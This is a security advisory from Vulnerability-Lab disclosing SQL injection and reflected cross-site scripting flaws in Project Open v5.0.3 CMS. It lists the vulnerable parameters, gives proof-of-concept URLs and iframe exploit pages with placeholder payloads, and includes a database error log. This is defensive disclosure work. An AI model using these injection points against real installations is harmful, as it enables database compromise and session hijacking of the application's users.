Project Open CMS 5.0.3 Cross Site Scripting / SQL Injection

Project Open CMS version 5.0.3 suffers from cross site scripting and remote SQL injection vulnerabilities.


MD5 | 61ee67270999f3de47b451212d8c6558

Document Title:
===============
Project Open v5.0.3 CMS - Multiple Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2225


Release Date:
=============
2020-04-25


Vulnerability Laboratory ID (VL-ID):
====================================
2225


Common Vulnerability Scoring System:
====================================
7.3


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
Join more than 20.000 users and become part of our Community. You will
be able to track your incidents,
create new tickets, add product ideas and track the progress of development.

(Copy of the Homepage: http://project-open.net/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web
vulnerabilities in the official Project Open v5.0.3 CMS.


Affected Product(s):
====================
Project-Open
Product: Project Open v5.0.3 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-27: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
1.1
Multiple remote sql-injection web vulnerabilities has been discovered in
the official Project Open v5.0.3 CMS web-application.
The vulnerability allows remote attackers to inject or execute own sql
commands to compromise the dbms or file system of the application.

The sql injection vulnerabilities are located in the `order_by`,
`forum_order_by` and `audit_id` parameters of the
`./intranet-expenses/index`
and `./intranet-audit/view` modules. The request method to inject or
execute commands is GET and the attack vector is located on the
application-side.
Attackers with privileged accounts to edit are able to inject own sql
queries via order or id parameter to compromise the dbms. Multiple
unhandled
and broken sql queries are visible as default debug to output for
different roles as well.

Exploitation of the remote sql injection vulnerability requires no user
interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database
management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./intranet-expenses/index
[+] ./intranet-audit/view

Vulnerable Parameter(s):
[+] forum_order_by
[+] order_by
[+] audit_id



1.2
Multiple non-persistent cross site scripting vulnerabilities has been
discovered in the official Project Open v5.0.3 CMS web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site scripting web security vulnerabilities are located in the
`bread_crum_path` and `re_path` parameters of the
`./intranet/projects/view` and `./intranet-filestorage` modules. The
request method to inject the malicious script code is
GET and the attack vector of the vulnerability is non-persistent on
client-side.

Remote attackers are able to inject own script codes to the client-side
requested vulnerable web-application parameters. The attack vector of
the vulnerability is non-persistent and the request method to
inject/execute is GET. The vulnerabilities are classic client-side cross
site
scripting vulnerabilities. Successful exploitation of the vulnerability
results in session hijacking, non-persistent phishing attacks,
non-persistent external redirects to malicious source and non-persistent
manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./intranet/projects/view
[+] ./intranet-filestorage

Vulnerable Parameter(s):
[+] bread_crum_path
[+] rel_path


Proof of Concept (PoC):
=======================
1.1
The remote sql-injection web vulnerabilities can be exploited by
authenticated privileged user accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


PoC: SQL-Injection
https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=10&forum_order_by='[SQL
INJECTION]--&forum_object_id=0&forum_start_idx=10&
https://po-cms.localhost:80/intranet-expenses/index?end_date=2020-04-25&unassigned=todo&expense_type_id=&project_id=29129&start_date=2000-01-01&orderby='[SQL
INJECTION]--
https://po-cms.localhost:80/intranet-audit/view?return_url=%2fintranet-confdb%2fnew%3fform_mode%3ddisplay%26conf_item_id%3d43412&audit_id='[SQL
INJECTION]--


PoC: Exploit
<html>
<head><body>
<title>Project Open Intranet CMS v</title>
<iframe
src="https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=10&forum_order_by='[SQL
INJECTION]--&forum_object_id=0&forum_start_idx=10&"></iframe>
<iframe
src="https://po-cms.localhost:80/intranet-expenses/index?end_date=2020-04-25&unassigned=todo&expense_type_id=&project_id=29129&start_date=2000-01-01&orderby='[SQL
INJECTION]--"></iframe>
<iframe
src="https://po-cms.localhost:80/intranet-audit/view?return_url=%2fintranet-confdb%2fnew%3fform_mode%3ddisplay%26conf_item_id%3d43412&audit_id='[SQL
INJECTION]--"></iframe>
</body></head>
<html


Reference(s):
https://po-cms.localhost:80/intranet/
https://po-cms.localhost:80/intranet-audit/view
https://po-cms.localhost:80/intranet-expenses/index


--- Error Exception Logs ---
im_category_from_id(a.audit_object_status_id) as audit_object_status,
im_name_from_user_id(a.audit_user_id) as audit_user_name,
to_char(a.audit_date, 'YYYY-MM-DD') as audit_date_pretty
-
LEFT OUTER JOIN im_audits last_a ON (a.audit_last_id = last_a.audit_id),
acs_objects o,
acs_object_types ot
-
where a.audit_object_id = o.object_id and
ot.object_type = o.object_type and
a.audit_id = '''16899'
-


1.2
The client-side cross site scripting web vulnerabilities can be
exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


PoC: Cross Site Scripting
https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=&forum_order_by=&forum_object_id=0&forum_start_idx=10&=&bread_crum_path=[CROSS
SITE SCRIPTING]
https://po-cms.localhost:80/intranet/projects/view?project_id=29129&view_name=files&bread_crum_path=[CROSS
SITE SCRIPTING]
https://po-cms.localhost:80/intranet-filestorage/folder_status_update?status=c&return_url=&rel_path=[CROSS
SITE SCRIPTING]


PoC: Exploit
<html>
<head><body>
<title>Project Open Intranet CMS v</title>
<iframe
src="https://po-cms.localhost:80/intranet/?forum_max_entries_per_page=&forum_order_by=&forum_object_id=0&forum_start_idx=10&=&bread_crum_path=[HTML/JS
PAYLOAD]"></iframe>
<iframe
src="https://po-cms.localhost:80/intranet/projects/view?project_id=29129&view_name=files&bread_crum_path=[HTML/JS
PAYLOAD]"></iframe>
<iframe
src="https://po-cms.localhost:80/intranet-filestorage/folder_status_update?status=c&return_url=&rel_path=[HTML/JS
PAYLOAD]"></iframe>
</body></head>
<html>


Reference(s):
https://po-cms.localhost:80/intranet/
https://po-cms.localhost:80/intranet-filestorage/
https://po-cms.localhost:80/intranet/projects/view/


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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